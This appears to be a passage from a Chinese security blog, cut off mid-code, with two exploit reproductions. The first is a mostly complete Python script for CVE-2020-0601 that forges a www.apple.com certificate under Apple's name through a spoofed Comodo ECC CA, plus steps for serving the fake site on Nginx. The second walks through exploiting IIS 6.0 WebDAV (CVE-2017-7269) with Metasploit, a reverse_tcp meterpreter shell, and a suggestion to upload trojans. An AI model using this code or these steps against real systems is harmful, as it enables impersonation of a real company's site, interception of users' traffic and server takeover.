signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate["tbs_certificate"]["signature"] = signed_digest_algorithm certificate["signature_algorithm"] = signed_digest_algorithm sign_certificate(signing_key, certificate) return (signing_key, ec_private_key) def write_pem(f: BinaryIO, value: core.Asn1Value, object_type: str) -> None: print("Writing {} to {!r}".format(object_type, f.name), file=sys.stderr) der_bytes = value.dump() pem_bytes = pem.armor(object_type, der_bytes) f.write(pem_bytes) def generate_private_key( algorithm: str, ) -> Tuple[keys.PrivateKeyInfo, keys.PublicKeyInfo]: pem_bytes = subprocess.check_output( ( "openssl", "req", "-pubkey", "-noout", "-newkey", algorithm, "-keyout", "-", "-nodes", "-batch", "-outform", "PEM", ) ) pem_iter = pem.unarmor(pem_bytes, multiple=True) object_type, _, der_bytes = next(pem_iter) assert object_type == "PRIVATE KEY" private_key = keys.PrivateKeyInfo.load(der_bytes) object_type, _, der_bytes = next(pem_iter) assert object_type == "PUBLIC KEY" public_key = keys.PublicKeyInfo.load(der_bytes) return private_key, public_key def random_serial_number() -> int: return int.from_bytes(os.urandom(20), "big") >> 1 def write_tls_certificate( ca_cert: x509.Certificate, ca_cert_orig: x509.Certificate, signing_key: ecdsa.keys.SigningKey, name: str, subject: x509.Name, subject_alt_names: Sequence[str], ) -> None: private_key, public_key = generate_private_key("rsa:4096") signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate = x509.Certificate( { "tbs_certificate": { "version": "v3", "serial_number": random_serial_number(), "signature": signed_digest_algorithm, "issuer": ca_cert_orig.subject, "validity": { "not_before": x509.UTCTime( datetime.datetime(2019, 10, 24, tzinfo=datetime.timezone.utc) ), "not_after": x509.UTCTime( datetime.datetime(2020, 10, 23, tzinfo=datetime.timezone.utc) ), }, "subject": subject, "subject_public_key_info": public_key, "extensions": [ { "extn_id": "basic_constraints", "critical": True, "extn_value": {"ca": False}, }, { "extn_id": "subject_alt_name", "critical": False, "extn_value": [ x509.GeneralName({"dns_name": dns_name}) for dns_name in subject_alt_names ], }, { "extn_id": "certificate_policies", "critical": False, "extn_value": [ {"policy_identifier": "1.3.6.1.4.1.6449.1.2.1.5.1"}, ], }, ], }, "signature_algorithm": signed_digest_algorithm, } ) sign_certificate(signing_key, certificate) with open(name + ".crt", "wb") as f: write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open(name + ".key", "wb") as f: write_pem(f, private_key, "PRIVATE KEY") write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") def get_name(purpose: Optional[str] = None) -> str: components = ["www.apple.com", "aaaa"] if purpose: components.insert(1, purpose) return " ".join(components) def main() -> None: _, ca_cert, _ = load_certificate_chain( "comodoecccertificationauthority-ev-comodoca-com-chain.pem" ) ca_cert_orig = ca_cert.copy() signing_key, ec_private_key = exploit_certificate(ca_cert) with open("intermediateCA.crt", "wb") as f: write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open("intermediateCA.key", "wb") as f: write_pem(f, ec_private_key, "EC PRIVATE KEY") write_tls_certificate( ca_cert, ca_cert_orig, signing_key, "www.apple.com", x509.Name.build( { "incorporation_country": "US", "business_category": "California", "serial_number": "C0805582", "country_name": "US", "common_name": "www.apple.com", "organization_name": "Apple Inc.", "organizational_unit_name": "Internet Services for Akamai", } ), ("www.apple.com.cn", "www.apple.com"), ) if __name__ == "__main__": main()第二步:部署https网站将生成的https证书(www.apple.com.crt)和私钥文件(www.apple.com.key)部署到Nginx上,并启动Nginx。第三步:修改hosts文件在hosts文件中添加 www.apple.com 域名的解析记录,将 www.apple.com 解析到本地服务器。第四步:访问www.apple.com网站Edge浏览器访问假网站:IE浏览器访问假网站不过,火狐大法就不管用了0x02 椭圆曲线数字签名算法(ECDSA)在2009年修订的FIPS 186加入了基于椭圆曲线密码的数字签名方法,称其为椭圆曲线数字签名算法(ECDSA)。由于椭圆曲线密码效率方面的优势,ECDSA的应用越来越广泛。ECDSA算法过程如下:参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。0x03 漏洞原理通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(Digital Certificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G’=Q,从而完成攻击。
2020年04月02日
78 阅读
0 评论
0 点赞
2020-03-31
iis6.0远程代码执行漏洞复现(CVE-2017-7269)
一.实验环境搭建1.目标机:windows server 2003 r2需要目标服务器开启WebDAV靶机IP:192.168.75.134Kali IP : 192.168.75.129kali中启动Msf,使用CVE-2017-7269攻击插件use exploit/windows/iis/cve_2017_7269没有这个插件的老铁,还麻烦您 在https://github.com/zcgonvh/cve-2017-7269 下载脚本,并且 把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下,然后reload_all进行启用使用show options查看相关攻击参数set RHOSTS 192.168.75.134set HttpHost 192.168.75.134设置返回载荷set payload windows/meterpreter/reverse_tcp使用exploit 或者run进行攻击获取到连接输入shell命令,来到了我们所熟悉的界面查看当前用户权限,whoami普通权限,但是可以通过msf的上传功能传递木马或者提权脚本
2020年03月31日
410 阅读
0 评论
0 点赞
1
2
3
4
5